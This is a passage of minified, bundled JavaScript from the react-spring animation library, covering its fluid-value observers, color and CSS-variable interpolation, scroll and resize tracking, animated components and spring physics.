e-1))/2,steps:Be};var esm_g=Symbol.for("FluidValue.get"),dist_esm_m=Symbol.for("FluidValue.observers");var Pt=e=>Boolean(e&&e[esm_g]),ve=e=>e&&e[esm_g]?e[esm_g]():e,esm_qt=e=>e[dist_esm_m]||null;function je(e,t){e.eventObserved?e.eventObserved(t):e(t)}function $t(e,t){let r=e[dist_esm_m];r&&r.forEach(n=>{je(n,t)})}var esm_ge=class{[esm_g];[dist_esm_m];constructor(t){if(!t&&!(t=this.get))throw Error("Unknown getter");De(this,t)}},De=(e,t)=>Ee(e,esm_g,t);function Gt(e,t){if(e[esm_g]){let r=e[dist_esm_m];r||Ee(e,dist_esm_m,r=new Set),r.has(t)||(r.add(t),e.observerAdded&&e.observerAdded(r.size,t))}return t}function Qt(e,t){let r=e[dist_esm_m];if(r&&r.has(t)){let n=r.size-1;n?r.delete(t):e[dist_esm_m]=null,e.observerRemoved&&e.observerRemoved(n,t)}}var Ee=(e,t,r)=>Object.defineProperty(e,t,{value:r,writable:!0,configurable:!0});var O=/[+\-]?(?:0|[1-9]\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,esm_Oe=/(#(?:[0-9a-f]{2}){2,4}|(#[0-9a-f]{3})|(rgb|hsl)a?\((-?\d+%?[,\s]+){2,3}\s*[\d\.]+%?\))/gi,K=new RegExp(`(${O.source})(%|[a-z]+)`,"i"),we=/rgba\(([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+)\)/gi,dist_esm_b=/var\((--[a-zA-Z0-9-_]+),? ?([a-zA-Z0-9 ()%#.,-]+)?\)/;var esm_N=e=>{let[t,r]=We(e);if(!t||dist_esm_h())return e;let n=window.getComputedStyle(document.documentElement).getPropertyValue(t);if(n)return n.trim();if(r&&r.startsWith("--")){let f=window.getComputedStyle(document.documentElement).getPropertyValue(r);return f||e}else{if(r&&dist_esm_b.test(r))return esm_N(r);if(r)return r}return e},We=e=>{let t=dist_esm_b.exec(e);if(!t)return[,];let[,r,n]=t;return[r,n]};var _,esm_Ke=(e,t,r,n,f)=>`rgba(${Math.round(t)}, ${Math.round(r)}, ${Math.round(n)}, ${f})`,Xt=e=>{_||(_=dist_esm_c?new RegExp(`(${Object.keys(dist_esm_c).join("|")})(?!\\w)`,"g"):/^\b$/);let t=e.output.map(o=>ve(o).replace(dist_esm_b,esm_N).replace(esm_Oe,D).replace(_,D)),r=t.map(o=>o.match(O).map(Number)),f=r[0].map((o,i)=>r.map(s=>{if(!(i in s))throw Error('The arity of each "output" value must be equal');return s[i]})).map(o=>W({...e,output:o}));return o=>{let i=!K.test(t[0])&&t.find(x=>K.test(x))?.replace(O,""),s=0;return t[0].replace(O,()=>`${f[s++](o)}${i||""}`).replace(we,esm_Ke)}};var Z="react-spring: ",Te=e=>{let t=e,r=!1;if(typeof t!="function")throw new TypeError(`${Z}once requires a function parameter`);return(...n)=>{r||(t(...n),r=!0)}},Ne=Te(console.warn);function Jt(){Ne(`${Z}The "interpolate" function is deprecated in v9 (use "to" instead)`)}var _e=Te(console.warn);function er(){_e(`${Z}Directly calling start instead of using the api object is deprecated in v9 (use ".start" instead), this will be removed in later 0.X.0 versions`)}function esm_or(e){return dist_esm_l.str(e)&&(e[0]=="#"||/\d/.test(e)||!dist_esm_h()&&dist_esm_b.test(e)||e in(dist_esm_c||{}))}var dist_esm_v,q=new WeakMap,Ze=e=>e.forEach(({target:t,contentRect:r})=>q.get(t)?.forEach(n=>n(r)));function Fe(e,t){dist_esm_v||typeof ResizeObserver<"u"&&(dist_esm_v=new ResizeObserver(Ze));let r=q.get(t);return r||(r=new Set,q.set(t,r)),r.add(e),dist_esm_v&&dist_esm_v.observe(t),()=>{let n=q.get(t);!n||(n.delete(e),!n.size&&dist_esm_v&&dist_esm_v.unobserve(t))}}var esm_$=new Set,dist_esm_w,esm_Xe=()=>{let e=()=>{esm_$.forEach(t=>t({width:window.innerWidth,height:window.innerHeight}))};return window.addEventListener("resize",e),()=>{window.removeEventListener("resize",e)}},Ie=e=>(esm_$.add(e),dist_esm_w||(dist_esm_w=esm_Xe()),()=>{esm_$.delete(e),!esm_$.size&&dist_esm_w&&(dist_esm_w(),dist_esm_w=void 0)});var ke=(e,{container:t=document.documentElement}={})=>t===document.documentElement?Ie(e):Fe(e,t);var Se=(e,t,r)=>t-e===0?1:(r-e)/(t-e);var esm_Ye={x:{length:"Width",position:"Left"},y:{length:"Height",position:"Top"}},esm_G=class{callback;container;info;constructor(t,r){this.callback=t,this.container=r,this.info={time:0,x:this.createAxis(),y:this.createAxis()}}createAxis=()=>({current:0,progress:0,scrollLength:0});updateAxis=t=>{let r=this.info[t],{length:n,position:f}=esm_Ye[t];r.current=this.container[`scroll${f}`],r.scrollLength=this.container["scroll"+n]-this.container["client"+n],r.progress=Se(0,r.scrollLength,r.current)};update=()=>{this.updateAxis("x"),this.updateAxis("y")};sendEvent=()=>{this.callback(this.info)};advance=()=>{this.update(),this.sendEvent()}};var esm_T=new WeakMap,Ae=new WeakMap,X=new WeakMap,Me=e=>e===document.documentElement?window:e,yr=(e,{container:t=document.documentElement}={})=>{let r=X.get(t);r||(r=new Set,X.set(t,r));let n=new esm_G(e,t);if(r.add(n),!esm_T.has(t)){let o=()=>(r?.forEach(s=>s.advance()),!0);esm_T.set(t,o);let i=Me(t);window.addEventListener("resize",o,{passive:!0}),t!==document.documentElement&&Ae.set(t,ke(o,{container:t})),i.addEventListener("scroll",o,{passive:!0})}let f=esm_T.get(t);return Re(f),()=>{Re.cancel(f);let o=X.get(t);if(!o||(o.delete(n),o.size))return;let i=esm_T.get(t);esm_T.delete(t),i&&(Me(t).removeEventListener("scroll",i),window.removeEventListener("resize",i),Ae.get(t)?.())}};function Er(e){let t=Je(null);return t.current===null&&(t.current=e()),t.current}var esm_Q=dist_esm_h()?external_React_.useEffect:external_React_.useLayoutEffect;var Ce=()=>{let e=(0,external_React_.useRef)(!1);return esm_Q(()=>(e.current=!0,()=>{e.current=!1}),[]),e};function Mr(){let e=(0,external_React_.useState)()[1],t=Ce();return()=>{t.current&&e(Math.random())}}function Lr(e,t){let[r]=(0,external_React_.useState)(()=>({inputs:t,result:e()})),n=(0,external_React_.useRef)(),f=n.current,o=f;return o?Boolean(t&&o.inputs&&it(t,o.inputs))||(o={inputs:t,result:e()}):o=r,(0,external_React_.useEffect)(()=>{n.current=o,f==r&&(r.inputs=r.result=void 0)},[o]),o.result}function it(e,t){if(e.length!==t.length)return!1;for(let r=0;r<e.length;r++)if(e[r]!==t[r])return!1;return!0}var $r=e=>(0,external_React_.useEffect)(e,ut),ut=[];function Ur(e){let t=ct();return lt(()=>{t.current=e}),t.current}var Wr=()=>{let[e,t]=dt(null);return esm_Q(()=>{let r=window.matchMedia("(prefers-reduced-motion)"),n=f=>{t(f.matches),U({skipAnimation:f.matches})};return n(r),r.addEventListener("change",n),()=>{r.removeEventListener("change",n)}},[]),e};

;// ./node_modules/@react-spring/animated/dist/esm/index.js
var animated_dist_esm_h=Symbol.for("Animated:node"),animated_dist_esm_v=e=>!!e&&e[animated_dist_esm_h]===e,dist_esm_k=e=>e&&e[animated_dist_esm_h],esm_D=(e,t)=>mt(e,animated_dist_esm_h,t),F=e=>e&&e[animated_dist_esm_h]&&e[animated_dist_esm_h].getPayload(),animated_dist_esm_c=class{payload;constructor(){esm_D(this,this)}getPayload(){return this.payload||[]}};var animated_dist_esm_l=class extends animated_dist_esm_c{constructor(r){super();this._value=r;dist_esm_l.num(this._value)&&(this.lastPosition=this._value)}done=!0;elapsedTime;lastPosition;lastVelocity;v0;durationProgress=0;static create(r){return new animated_dist_esm_l(r)}getPayload(){return[this]}getValue(){return this._value}setValue(r,n){return dist_esm_l.num(r)&&(this.lastPosition=r,n&&(r=Math.round(r/n)*n,this.done&&(this.lastPosition=r))),this._value===r?!1:(this._value=r,!0)}reset(){let{done:r}=this;this.done=!1,dist_esm_l.num(this._value)&&(this.elapsedTime=0,this.durationProgress=0,this.lastPosition=this._value,r&&(this.lastVelocity=null),this.v0=null)}};var animated_dist_esm_d=class extends animated_dist_esm_l{_string=null;_toString;constructor(t){super(0),this._toString=W({output:[t,t]})}static create(t){return new animated_dist_esm_d(t)}getValue(){let t=this._string;return t??(this._string=this._toString(this._value))}setValue(t){if(dist_esm_l.str(t)){if(t==this._string)return!1;this._string=t,this._value=1}else if(super.setValue(t))this._string=null;else return!1;return!0}reset(t){t&&(this._toString=W({output:[this.getValue(),t]})),this._value=0,super.reset()}};var dist_esm_f={dependencies:null};var animated_dist_esm_u=class extends animated_dist_esm_c{constructor(r){super();this.source=r;this.setValue(r)}getValue(r){let n={};return xt(this.source,(a,i)=>{animated_dist_esm_v(a)?n[i]=a.getValue(r):Pt(a)?n[i]=ve(a):r||(n[i]=a)}),n}setValue(r){this.source=r,this.payload=this._makePayload(r)}reset(){this.payload&&esm_Ve(this.payload,r=>r.reset())}_makePayload(r){if(r){let n=new Set;return xt(r,this._addToPayload,n),Array.from(n)}}_addToPayload(r){dist_esm_f.dependencies&&Pt(r)&&dist_esm_f.dependencies.add(r);let n=F(r);n&&esm_Ve(n,a=>this.add(a))}};var animated_dist_esm_y=class extends animated_dist_esm_u{constructor(t){super(t)}static create(t){return new animated_dist_esm_y(t)}getValue(){return this.source.map(t=>t.getValue())}setValue(t){let r=this.getPayload();return t.length==r.length?r.map((n,a)=>n.setValue(t[a])).some(Boolean):(super.setValue(t.map(dist_esm_z)),!0)}};function dist_esm_z(e){return(esm_or(e)?animated_dist_esm_d:animated_dist_esm_l).create(e)}function esm_Le(e){let t=dist_esm_k(e);return t?t.constructor:dist_esm_l.arr(e)?animated_dist_esm_y:esm_or(e)?animated_dist_esm_d:animated_dist_esm_l}var dist_esm_x=(e,t)=>{let r=!dist_esm_l.fun(e)||e.prototype&&e.prototype.isReactComponent;return (0,external_React_.forwardRef)((n,a)=>{let i=(0,external_React_.useRef)(null),o=r&&(0,external_React_.useCallback)(s=>{i.current=esm_ae(a,s)},[a]),[m,T]=esm_ne(n,t),W=Mr(),P=()=>{let s=i.current;if(r&&!s)return;(s?t.applyAnimatedValues(s,m.getValue(!0)):!1)===!1&&W()},_=new animated_dist_esm_b(P,T),p=(0,external_React_.useRef)();esm_Q(()=>(p.current=_,esm_Ve(T,s=>Gt(s,_)),()=>{p.current&&(esm_Ve(p.current.deps,s=>Qt(s,p.current)),esm_n.cancel(p.current.update))})),(0,external_React_.useEffect)(P,[]),$r(()=>()=>{let s=p.current;esm_Ve(s.deps,S=>Qt(S,s))});let $=t.getComponentProps(m.getValue());return external_React_.createElement(e,{...$,ref:o})})},animated_dist_esm_b=class{constructor(t,r){this.update=t;this.deps=r}eventObserved(t){t.type=="change"&&esm_n.write(this.update)}};function esm_ne(e,t){let r=new Set;return dist_esm_f.dependencies=r,e.style&&(e={...e,style:t.createAnimatedStyle(e.style)}),e=new animated_dist_esm_u(e),dist_esm_f.dependencies=null,[e,r]}function esm_ae(e,t){return e&&(dist_esm_l.fun(e)?e(t):e.current=t),t}var dist_esm_j=Symbol.for("AnimatedComponent"),dist_esm_Ke=(e,{applyAnimatedValues:t=()=>!1,createAnimatedStyle:r=a=>new animated_dist_esm_u(a),getComponentProps:n=a=>a}={})=>{let a={applyAnimatedValues:t,createAnimatedStyle:r,getComponentProps:n},i=o=>{let m=esm_I(o)||"Anonymous";return dist_esm_l.str(o)?o=i[o]||(i[o]=dist_esm_x(o,a)):o=o[dist_esm_j]||(o[dist_esm_j]=dist_esm_x(o,a)),o.displayName=`Animated(${m})`,o};return xt(e,(o,m)=>{dist_esm_l.arr(e)&&(m=esm_I(o)),i[m]=i(o)}),{animated:i}},esm_I=e=>dist_esm_l.str(e)?e:e&&dist_esm_l.str(e.displayName)?e.displayName:dist_esm_l.fun(e)&&e.name||null;

;// ./node_modules/@react-spring/core/dist/esm/index.js
function dist_esm_I(t,...e){return dist_esm_l.fun(t)?t(...e):t}var esm_te=(t,e)=>t===!0||!!(e&&t&&(dist_esm_l.fun(t)?t(e):ht(t).includes(e))),et=(t,e)=>dist_esm_l.obj(t)?e&&t[e]:t;var esm_ke=(t,e)=>t.default===!0?t[e]:t.default?t.default[e]:void 0,nn=t=>t,dist_esm_ne=(t,e=nn)=>{let n=rn;t.default&&t.default!==!0&&(t=t.default,n=Object.keys(t));let r={};for(let o of n){let s=e(t[o],o);dist_esm_l.und(s)||(r[o]=s)}return r},rn=["config","onProps","onStart","onChange","onPause","onResume","onRest"],on={config:1,from:1,to:1,ref:1,loop:1,reset:1,pause:1,cancel:1,reverse:1,immediate:1,default:1,delay:1,onProps:1,onStart:1,onChange:1,onPause:1,onResume:1,onRest:1,onResolve:1,items:1,trail:1,sort:1,expires:1,initial:1,enter:1,update:1,leave:1,children:1,onDestroyed:1,keys:1,callId:1,parentId:1};function sn(t){let e={},n=0;if(xt(t,(r,o)=>{on[o]||(e[o]=r,n++)}),n)return e}function esm_de(t){let e=sn(t);if(e){let n={to:e};return xt(t,(r,o)=>o in e||(n[o]=r)),n}return{...t}}function esm_me(t){return t=ve(t),dist_esm_l.arr(t)?t.map(esm_me):esm_or(t)?dist_esm_p.createStringInterpolator({range:[0,1],output:[t,t]})(1):t}function esm_Ue(t){for(let e in t)return!0;return!1}function esm_Ee(t){return dist_esm_l.fun(t)||dist_esm_l.arr(t)&&dist_esm_l.obj(t[0])}function esm_xe(t,e){t.ref?.delete(t),e?.delete(t)}function esm_he(t,e){e&&t.ref!==e&&(t.ref?.delete(t),e.add(t),t.ref=e)}function wr(t,e,n=1e3){an(()=>{if(e){let r=0;ge(t,(o,s)=>{let a=o.current;if(a.length){let i=n*e[s];isNaN(i)?i=r:r=i,ge(a,u=>{ge(u.queue,p=>{let f=p.delay;p.delay=d=>i+dist_esm_I(f||0,d)})}),o.start()}})}else{let r=Promise.resolve();ge(t,o=>{let s=o.current;if(s.length){let a=s.map(i=>{let u=i.queue;return i.queue=[],u});r=r.then(()=>(ge(s,(i,u)=>ge(a[u]||[],p=>i.queue.push(p))),Promise.all(o.start())))}})}})}var esm_mt={default:{tension:170,friction:26},gentle:{tension:120,friction:14},wobbly:{tension:180,friction:12},stiff:{tension:210,friction:20},slow:{tension:280,friction:60},molasses:{tension:280,friction:120}};var tt={...esm_mt.default,mass:1,damping:1,easing:Lt.linear,clamp:!1},esm_we=class{tension;friction;frequency;damping;mass;velocity=0;restVelocity;precision;progress;duration;easing;clamp;bounce;decay;round;constructor(){Object.assign(this,tt)}};function gt(t,e,n){n&&(n={...n},esm_ht(n,e),e={...n,...e}),esm_ht(t,e),Object.assign(t,e);for(let a in tt)t[a]==null&&(t[a]=tt[a]);let{mass:r,frequency:o,damping:s}=t;return dist_esm_l.und(o)||(o<.01&&(o=.01),s<0&&(s=0),t.tension=Math.pow(2*Math.PI/o,2)*r,t.friction=4*Math.PI*s*r/o),t}function esm_ht(t,e){if(!dist_esm_l.und(e.decay))t.duration=void 0;else{let n=!dist_esm_l.und(e.tension)||!dist_esm_l.und(e.friction);(n||!dist_esm_l.und(e.frequency)||!dist_esm_l.und(e.damping)||!dist_esm_l.und(e.mass))&&(t.duration=void 0,t.decay=void 0),n&&(t.frequency=void 0)}}var esm_yt=[],dist_esm_Le=class{changed=!1;values=esm_yt;toValues=null;fromValues=esm_yt;to;from;config=new esm_we;immediate=!1};function esm_Me(t,{key:e,props:n,defaultProps:r,state:o,actions:s}){return new Promise((a,i)=>{let u,p,f=esm_te(n.cancel??r?.cancel,e);if(f)b();else{dist_esm_l.und(n.pause)||(o.paused=esm_te(n.pause,e));let c=r?.pause;c!==!0&&(c=o.paused||esm_te(c,e)),u=dist_esm_I(n.delay||0,e),c?(o.resumeQueue.add(m),s.pause()):(s.resume(),m())}function d(){o.resumeQueue.add(m),o.timeouts.delete(p),p.cancel(),u=p.time-esm_n.now()}function m(){u>0&&!dist_esm_p.skipAnimation?(o.delayed=!0,p=esm_n.setTimeout(b,u),o.pauseQueue.add(d),o.timeouts.add(p)):b()}function b(){o.delayed&&(o.delayed=!1),o.pauseQueue.delete(d),o.timeouts.delete(p),t<=(o.cancelId||0)&&(f=!0);try{s.start({...n,callId:t,cancel:f},a)}catch(c){i(c)}}})}var esm_be=(t,e)=>e.length==1?e[0]:e.some(n=>n.cancelled)?esm_q(t.get()):e.every(n=>n.noop)?nt(t.get()):dist_esm_E(t.get(),e.every(n=>n.finished)),nt=t=>({value:t,noop:!0,finished:!0,cancelled:!1}),dist_esm_E=(t,e,n=!1)=>({value:t,finished:e,cancelled:n}),esm_q=t=>({value:t,cancelled:!0,finished:!1});function esm_De(t,e,n,r){let{callId:o,parentId:s,onRest:a}=e,{asyncTo:i,promise:u}=n;return!s&&t===i&&!e.reset?u:n.promise=(async()=>{n.asyncId=o,n.asyncTo=t;let p=dist_esm_ne(e,(l,h)=>h==="onRest"?void 0:l),f,d,m=new Promise((l,h)=>(f=l,d=h)),b=l=>{let h=o<=(n.cancelId||0)&&esm_q(r)||o!==n.asyncId&&dist_esm_E(r,!1);if(h)throw l.result=h,d(l),l},c=(l,h)=>{let g=new esm_Ae,x=new esm_Ne;return(async()=>{if(dist_esm_p.skipAnimation)throw esm_oe(n),x.result=dist_esm_E(r,!1),d(x),x;b(g);let S=dist_esm_l.obj(l)?{...l}:{...h,to:l};S.parentId=o,xt(p,(V,_)=>{dist_esm_l.und(S[_])&&(S[_]=V)});let A=await r.start(S);return b(g),n.paused&&await new Promise(V=>{n.resumeQueue.add(V)}),A})()},P;if(dist_esm_p.skipAnimation)return esm_oe(n),dist_esm_E(r,!1);try{let l;dist_esm_l.arr(t)?l=(async h=>{for(let g of h)await c(g)})(t):l=Promise.resolve(t(c,r.stop.bind(r))),await Promise.all([l.then(f),m]),P=dist_esm_E(r.get(),!0,!1)}catch(l){if(l instanceof esm_Ae)P=l.result;else if(l instanceof esm_Ne)P=l.result;else throw l}finally{o==n.asyncId&&(n.asyncId=s,n.asyncTo=s?i:void 0,n.promise=s?u:void 0)}return dist_esm_l.fun(a)&&esm_n.batchedUpdates(()=>{a(P,r,r.item)}),P})()}function esm_oe(t,e){Pe(t.timeouts,n=>n.cancel()),t.pauseQueue.clear(),t.resumeQueue.clear(),t.asyncId=t.asyncTo=t.promise=void 0,e&&(t.cancelId=e)}var esm_Ae=class extends Error{result;constructor(){super("An async animation has been interrupted. You see this error because you forgot to use `await` or `.catch(...)` on its returned promise.")}},esm_Ne=class extends Error{result;constructor(){super("SkipAnimationSignal")}};var esm_Re=t=>t instanceof esm_X,Sn=1,esm_X=class extends esm_ge{id=Sn++;_priority=0;get priority(){return this._priority}set priority(e){this._priority!=e&&(this._priority=e,this._onPriorityChange(e))}get(){let e=dist_esm_k(this);return e&&e.getValue()}to(...e){return dist_esm_p.to(this,e)}interpolate(...e){return Jt(),dist_esm_p.to(this,e)}toJSON(){return this.get()}observerAdded(e){e==1&&this._attach()}observerRemoved(e){e==0&&this._detach()}_attach(){}_detach(){}_onChange(e,n=!1){$t(this,{type:"change",parent:this,value:e,idle:n})}_onPriorityChange(e){this.idle||qe.sort(this),$t(this,{type:"priority",parent:this,priority:e})}};var esm_se=Symbol.for("SpringPhase"),esm_bt=1,rt=2,ot=4,esm_qe=t=>(t[esm_se]&esm_bt)>0,dist_esm_Q=t=>(t[esm_se]&rt)>0,esm_ye=t=>(t[esm_se]&ot)>0,st=(t,e)=>e?t[esm_se]|=rt|esm_bt:t[esm_se]&=~rt,esm_it=(t,e)=>e?t[esm_se]|=ot:t[esm_se]&=~ot;var esm_ue=class extends esm_X{key;animation=new dist_esm_Le;queue;defaultProps={};_state={paused:!1,delayed:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set};_pendingCalls=new Set;_lastCallId=0;_lastToId=0;_memoizedDuration=0;constructor(e,n){if(super(),!dist_esm_l.und(e)||!dist_esm_l.und(n)){let r=dist_esm_l.obj(e)?{...e}:{...n,from:e};dist_esm_l.und(r.default)&&(r.default=!0),this.start(r)}}get idle(){return!(dist_esm_Q(this)||this._state.asyncTo)||esm_ye(this)}get goal(){return ve(this.animation.to)}get velocity(){let e=dist_esm_k(this);return e instanceof animated_dist_esm_l?e.lastVelocity||0:e.getPayload().map(n=>n.lastVelocity||0)}get hasAnimated(){return esm_qe(this)}get isAnimating(){return dist_esm_Q(this)}get isPaused(){return esm_ye(this)}get isDelayed(){return this._state.delayed}advance(e){let n=!0,r=!1,o=this.animation,{config:s,toValues:a}=o,i=F(o.to);!i&&Pt(o.to)&&(a=ht(ve(o.to))),o.values.forEach((f,d)=>{if(f.done)return;let m=f.constructor==animated_dist_esm_d?1:i?i[d].lastPosition:a[d],b=o.immediate,c=m;if(!b){if(c=f.lastPosition,s.tension<=0){f.done=!0;return}let P=f.elapsedTime+=e,l=o.fromValues[d],h=f.v0!=null?f.v0:f.v0=dist_esm_l.arr(s.velocity)?s.velocity[d]:s.velocity,g,x=s.precision||(l==m?.005:Math.min(1,Math.abs(m-l)*.001));if(dist_esm_l.und(s.duration))if(s.decay){let S=s.decay===!0?.998:s.decay,A=Math.exp(-(1-S)*P);c=l+h/(1-S)*(1-A),b=Math.abs(f.lastPosition-c)<=x,g=h*A}else{g=f.lastVelocity==null?h:f.lastVelocity;let S=s.restVelocity||x/10,A=s.clamp?0:s.bounce,V=!dist_esm_l.und(A),_=l==m?f.v0>0:l<m,v,w=!1,C=1,$=Math.ceil(e/C);for(let L=0;L<$&&(v=Math.abs(g)>S,!(!v&&(b=Math.abs(m-c)<=x,b)));++L){V&&(w=c==m||c>m==_,w&&(g=-g*A,c=m));let N=-s.tension*1e-6*(c-m),y=-s.friction*.001*g,T=(N+y)/s.mass;g=g+T*C,c=c+g*C}}else{let S=1;s.duration>0&&(this._memoizedDuration!==s.duration&&(this._memoizedDuration=s.duration,f.durationProgress>0&&(f.elapsedTime=s.duration*f.durationProgress,P=f.elapsedTime+=e)),S=(s.progress||0)+P/this._memoizedDuration,S=S>1?1:S<0?0:S,f.durationProgress=S),c=l+s.easing(S)*(m-l),g=(c-f.lastPosition)/e,b=S==1}f.lastVelocity=g,Number.isNaN(c)&&(console.warn("Got NaN while animating:",this),b=!0)}i&&!i[d].done&&(b=!1),b?f.done=!0:n=!1,f.setValue(c,s.round)&&(r=!0)});let u=dist_esm_k(this),p=u.getValue();if(n){let f=ve(o.to);(p!==f||r)&&!s.decay?(u.setValue(f),this._onChange(f)):r&&s.decay&&this._onChange(p),this._stop()}else r&&this._onChange(p)}set(e){return esm_n.batchedUpdates(()=>{this._stop(),this._focus(e),this._set(e)}),this}pause(){this._update({pause:!0})}resume(){this._update({pause:!1})}finish(){if(dist_esm_Q(this)){let{to:e,config:n}=this.animation;esm_n.batchedUpdates(()=>{this._onStart(),n.decay||this._set(e,!1),this._stop()})}return this}update(e){return(this.queue||(this.queue=[])).push(e),this}start(e,n){let r;return dist_esm_l.und(e)?(r=this.queue||[],this.queue=[]):r=[dist_esm_l.obj(e)?e:{...n,to:e}],Promise.all(r.map(o=>this._update(o))).then(o=>esm_be(this,o))}stop(e){let{to:n}=this.animation;return this._focus(this.get()),esm_oe(this._state,e&&this._lastCallId),esm_n.batchedUpdates(()=>this._stop(n,e)),this}reset(){this._update({reset:!0})}eventObserved(e){e.type=="change"?this._start():e.type=="priority"&&(this.priority=e.priority+1)}_prepareNode(e){let n=this.key||"",{to:r,from:o}=e;r=dist_esm_l.obj(r)?r[n]:r,(r==null||esm_Ee(r))&&(r=void 0),o=dist_esm_l.obj(o)?o[n]:o,o==null&&(o=void 0);let s={to:r,from:o};return esm_qe(this)||(e.reverse&&([r,o]=[o,r]),o=ve(o),dist_esm_l.und(o)?dist_esm_k(this)||this._set(r):this._set(o)),s}_update({...e},n){let{key:r,defaultProps:o}=this;e.default&&Object.assign(o,dist_esm_ne(e,(i,u)=>/^on/.test(u)?et(i,r):i)),_t(this,e,"onProps"),esm_Ie(this,"onProps",e,this);let s=this._prepareNode(e);if(Object.isFrozen(this))throw Error("Cannot animate a `SpringValue` object that is frozen. Did you forget to pass your component to `animated(...)` before animating its props?");let a=this._state;return esm_Me(++this._lastCallId,{key:r,props:e,defaultProps:o,state:a,actions:{pause:()=>{esm_ye(this)||(esm_it(this,!0),yt(a.pauseQueue),esm_Ie(this,"onPause",dist_esm_E(this,esm_Ce(this,this.animation.to)),this))},resume:()=>{esm_ye(this)&&(esm_it(this,!1),dist_esm_Q(this)&&this._resume(),yt(a.resumeQueue),esm_Ie(this,"onResume",dist_esm_E(this,esm_Ce(this,this.animation.to)),this))},start:this._merge.bind(this,s)}}).then(i=>{if(e.loop&&i.finished&&!(n&&i.noop)){let u=at(e);if(u)return this._update(u,!0)}return i})}_merge(e,n,r){if(n.cancel)return this.stop(!0),r(esm_q(this));let o=!dist_esm_l.und(e.to),s=!dist_esm_l.und(e.from);if(o||s)if(n.callId>this._lastToId)this._lastToId=n.callId;else return r(esm_q(this));let{key:a,defaultProps:i,animation:u}=this,{to:p,from:f}=u,{to:d=p,from:m=f}=e;s&&!o&&(!n.default||dist_esm_l.und(d))&&(d=m),n.reverse&&([d,m]=[m,d]);let b=!bt(m,f);b&&(u.from=m),m=ve(m);let c=!bt(d,p);c&&this._focus(d);let P=esm_Ee(n.to),{config:l}=u,{decay:h,velocity:g}=l;(o||s)&&(l.velocity=0),n.config&&!P&&gt(l,dist_esm_I(n.config,a),n.config!==i.config?dist_esm_I(i.config,a):void 0);let x=dist_esm_k(this);if(!x||dist_esm_l.und(d))return r(dist_esm_E(this,!0));let S=dist_esm_l.und(n.reset)?s&&!n.default:!dist_esm_l.und(m)&&esm_te(n.reset,a),A=S?m:this.get(),V=esm_me(d),_=dist_esm_l.num(V)||dist_esm_l.arr(V)||esm_or(V),v=!P&&(!_||esm_te(i.immediate||n.immediate,a));if(c){let L=esm_Le(d);if(L!==x.constructor)if(v)x=this._set(V);else throw Error(`Cannot animate between ${x.constructor.name} and ${L.name}, as the "to" prop suggests`)}let w=x.constructor,C=Pt(d),$=!1;if(!C){let L=S||!esm_qe(this)&&b;(c||L)&&($=bt(esm_me(A),V),C=!$),(!bt(u.immediate,v)&&!v||!bt(l.decay,h)||!bt(l.velocity,g))&&(C=!0)}if($&&dist_esm_Q(this)&&(u.changed&&!S?C=!0:C||this._stop(p)),!P&&((C||Pt(p))&&(u.values=x.getPayload(),u.toValues=Pt(d)?null:w==animated_dist_esm_d?[1]:ht(V)),u.immediate!=v&&(u.immediate=v,!v&&!S&&this._set(p)),C)){let{onRest:L}=u;esm_Ve(_n,y=>_t(this,n,y));let N=dist_esm_E(this,esm_Ce(this,p));yt(this._pendingCalls,N),this._pendingCalls.add(r),u.changed&&esm_n.batchedUpdates(()=>{u.changed=!S,L?.(N,this),S?dist_esm_I(i.onRest,N):u.onStart?.(N,this)})}S&&this._set(A),P?r(esm_De(n.to,n,this._state,this)):C?this._start():dist_esm_Q(this)&&!c?this._pendingCalls.add(r):r(nt(A))}_focus(e){let n=this.animation;e!==n.to&&(esm_qt(this)&&this._detach(),n.to=e,esm_qt(this)&&this._attach())}_attach(){let e=0,{to:n}=this.animation;Pt(n)&&(Gt(n,this),esm_Re(n)&&(e=n.priority+1)),this.priority=e}_detach(){let{to:e}=this.animation;Pt(e)&&Qt(e,this)}_set(e,n=!0){let r=ve(e);if(!dist_esm_l.und(r)){let o=dist_esm_k(this);if(!o||!bt(r,o.getValue())){let s=esm_Le(r);!o||o.constructor!=s?esm_D(this,s.create(r)):o.setValue(r),o&&esm_n.batchedUpdates(()=>{this._onChange(r,n)})}}return dist_esm_k(this)}_onStart(){let e=this.animation;e.changed||(e.changed=!0,esm_Ie(this,"onStart",dist_esm_E(this,esm_Ce(this,e.to)),this))}_onChange(e,n){n||(this._onStart(),dist_esm_I(this.animation.onChange,e,this)),dist_esm_I(this.defaultProps.onChange,e,this),super._onChange(e,n)}_start(){let e=this.animation;dist_esm_k(this).reset(ve(e.to)),e.immediate||(e.fromValues=e.values.map(n=>n.lastPosition)),dist_esm_Q(this)||(st(this,!0),esm_ye(this)||this._resume())}_resume(){dist_esm_p.skipAnimation?this.finish():qe.start(this)}_stop(e,n){if(dist_esm_Q(this)){st(this,!1);let r=this.animation;esm_Ve(r.values,s=>{s.done=!0}),r.toValues&&(r.onChange=r.onPause=r.onResume=void 0),$t(this,{type:"idle",parent:this});let o=n?esm_q(this.get()):dist_esm_E(this.get(),esm_Ce(this,e??r.to));yt(this._pendingCalls,o),r.changed&&(r.changed=!1,esm_Ie(this,"onRest",o,this))}}};function esm_Ce(t,e){let n=esm_me(e),r=esm_me(t.get());return bt(r,n)}function at(t,e=t.loop,n=t.to){let r=dist_esm_I(e);if(r){let o=r!==!0&&esm_de(r),s=(o||t).reverse,a=!o||o.reset;return esm_Pe({...t,loop:e,default:!1,pause:void 0,to:!s||esm_Ee(n)?n:void 0,from:a?t.from:void 0,reset:a,...o})}}function esm_Pe(t){let{to:e,from:n}=t=esm_de(t),r=new Set;return dist_esm_l.obj(e)&&Vt(e,r),dist_esm_l.obj(n)&&Vt(n,r),t.keys=r.size?Array.from(r):null,t}function Ot(t){let e=esm_Pe(t);return R.und(e.default)&&(e.default=dist_esm_ne(e)),e}function Vt(t,e){xt(t,(n,r)=>n!=null&&e.add(r))}var _n=["onStart","onRest","onChange","onPause","onResume"];function _t(t,e,n){t.animation[n]=e[n]!==esm_ke(e,n)?et(e[n],t.key):void 0}function esm_Ie(t,e,...n){t.animation[e]?.(...n),t.defaultProps[e]?.(...n)}var Fn=["onStart","onChange","onRest"],kn=1,esm_le=class{id=kn++;springs={};queue=[];ref;_flush;_initialProps;_lastAsyncId=0;_active=new Set;_changed=new Set;_started=!1;_item;_state={paused:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set};_events={onStart:new 